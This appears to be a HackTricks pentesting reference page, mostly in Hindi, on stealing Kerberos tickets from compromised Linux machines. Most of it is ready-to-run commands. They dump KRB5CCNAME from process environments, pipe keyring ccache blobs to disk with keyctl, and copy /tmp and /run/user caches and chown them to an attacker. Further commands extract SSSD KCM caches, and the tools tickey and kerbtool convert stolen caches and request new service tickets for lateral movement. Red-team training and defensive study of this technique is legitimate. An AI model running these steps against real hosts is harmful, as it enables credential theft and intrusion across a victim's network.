Linux से टिकट इकट्ठा करना

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Linux में क्रेडेंशियल संग्रहण

Linux सिस्टम क्रेडेंशियल्स को तीन तरह के कैश में संग्रहीत करते हैं, अर्थात् Files (in /tmp directory), Kernel Keyrings (a special segment in the Linux kernel), और Process Memory (for single-process use)। /etc/krb5.conf में default_ccache_name वेरिएबल उस उपयोग हो रहे स्टोरेज प्रकार को दर्शाता है; यदि निर्दिष्ट नहीं है तो यह FILE:/tmp/krb5cc_%{uid} पर डिफ़ॉल्ट होता है।

MIT/Heimdal अतिरिक्त बैकएंड्स को भी सपोर्ट करते हैं जिन्हें आपको post-exploitation के दौरान देखना चाहिए:

  • DIR:/run/user/%{uid}/krb5cc for directory-backed multi-ticket caches (systemd-logind default on modern distros).
  • KEYRING:persistent:%{uid} or KEYRING:session to stash ccaches inside the kernel keyring (KEY_SPEC_SESSION_KEYRING, KEY_SPEC_USER_KEYRING, etc.).
  • KCM:%{uid} when SSSD’s Kerberos Cache Manager daemon (kcm) fronts ticket storage.
  • MEMORY:unique_id for process-local caches created by libraries (gssproxy, sshd, etc.).

जब भी आप shell पॉप करते हैं, तो कॉपी करने से पहले यह जानने के लिए कि कौन सा cache backend उपयोग हो रहा है, दिलचस्प daemons (e.g. Apache, sshd, gssproxy) के /proc/<pid>/environ से KRB5CCNAME डंप करें।

सक्रिय कैशेस की सूची बनाना

उच्च-मूल्य वाले टिकट मिस होने से बचने के लिए निकालने से पहले कैशेस को सूचीबद्ध करें:

$ klist -l            # list caches registered in the local keyring/KCM
$ klist -A            # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;

The combination of klist, keyctl, and /proc inspection quickly reveals whether credentials live in files, keyrings, or KCM so you can pick the right dumping technique.

क्रेडेंशियल्स निकालना

The 2017 paper, Kerberos Credential Thievery (GNU/Linux), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel’s keyring mechanism for managing and storing keys.

Keyring Extraction Overview

The keyctl system call, introduced in kernel version 2.6.10, allows user space applications to interact with kernel keyrings. Credentials in keyrings are stored as components (default principal and credentials), distinct from file ccaches which also include a header. The hercules.sh script from the paper demonstrates extracting and reconstructing these components into a usable file ccache for credential theft. Remember that keyring-stored ccaches may live under KEYRING:persistent:%{uid} (permanent across logins), KEYRING:session (cleared on logout), or even KEY_SPEC_THREAD_KEYRING for services spawning helper threads—so always enumerate all keyring types for the compromised UID.

मैनुअल KEYRING वर्कफ़्लो

You can manually harvest tickets without helper scripts whenever default_ccache_name is set to KEYRING::

$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING                       # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump  # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist        # validate the stolen cache

यदि कई principals संग्रहीत हैं, तो प्रत्येक serial के लिए keyctl pipe चरण दोहराएँ, फिर निकाले गए ccache को kerbtool (नीचे देखें) या ticketConverter.py जैसी टूलिंग का उपयोग करके Windows-friendly .kirbi/.ccache में कन्वर्ट करें, और इसके बाद ही इसे अन्य मशीनों पर replay करें।

File/DIR कैश चोरी के त्वरित तरीके

जब credentials को FILE: या DIR: caches के रूप में संग्रहीत किया जाता है, तो साधारण फ़ाइल ऑपरेशन्स आमतौर पर पर्याप्त होते हैं:

$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache

Directory caches में प्रति सर्विस टिकट एक फ़ाइल होती है, इसलिए TGT + TGS जोड़े अखंड रखने के लिए पूरी डायरेक्टरी को compress करके exfiltrate करें। आप अपने टूलिंग को सीधे उस डायरेक्टरी की ओर भी पॉइंट कर सकते हैं: KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....

KCM-प्रबंधित कैश निकालना

SSSD’s Kerberos Cache Manager (kcm) credential storage को /var/run/kcm/kcmsock (या /run/.heim_org.h5l.kcm-socket) के माध्यम से proxy करता है और encrypted blobs को /var/lib/sss/secrets/ के अंदर .secrets.mkey के साथ persist करता है। Attack flow:

  1. /etc/krb5.conf (default_ccache_name = KCM:) या klist -l आउटपुट के माध्यम से KCM उपयोग की पहचान करें।
  2. यदि आपके पास UID 0 है या आप kcm SELinux domain का हिस्सा हैं, तो management tool के जरिये caches को enumerate करें:
$ sudo kcm_ctl list                 # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
  1. Offline approach: कॉपी /var/lib/sss/secrets/secrets.ldb और /var/lib/sss/secrets/.secrets.mkey, फिर SSSDKCMExtractor (या समान PoCs) चलाकर लाइव सॉकेट को छुए बिना ccaches को डिक्रिप्ट और पुन:संगठित करें। यह विशेष रूप से फॉरेंसिक या तब उपयोगी है जब सॉकेट ACLs आपको ब्लॉक कर रहे हों पर डिस्क एक्सेस संभव हो।

क्योंकि kcm daemon SSSD द्वारा लागू UID-based ACLs का पालन करता है, आमतौर पर privilege escalation to root (या sssd_kcm को समझौता करना) आवश्यक होता है, लेकिन एक बार प्राप्त हो जाने पर आप कुछ ही सेकंड में हर उपयोगकर्ता का TGT डम्प कर सकते हैं।

टिकट निकालने के उपकरण

ऊपर दिए गए चरणों को स्वचालित करने से गलतियाँ कम होती हैं और आपको क्रॉस-प्लेटफ़ॉर्म टिकट सामग्री मिलती है जिसे आप Windows tooling से रीप्ले कर सकते हैं।

Tickey

hercules.sh script के सिद्धांतों पर आधारित, tickey टूल खासकर keyrings से टिकट निकालने के लिए डिज़ाइन किया गया है, और /tmp/tickey -i के माध्यम से चलाया जाता है। यह kernel keyrings की enumeration करता है, serialized ccaches को reconstruct करता है, और MIT-compatible cache फाइलें लिखता है जिन्हें आप तुरंत klist, impacket-*, या kerberoast tooling को दे सकते हैं।

Kerbtool

kerbtool एक आधुनिक Go utility है जो नेटिवली Linux पर चलता है और Kerberos tickets को parse, convert, और request कर सकता है। Linux बॉक्स से टिकट इकट्ठा करते समय इसके दो उपयोगी केस हैं:

# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi

# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local

अपने implant host पर tickey और kerbtool दोनों होने से आप Linux, Windows और cross-platform Kerberos attack chains के बीच सहजता से स्थानांतरित हो सकते हैं।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें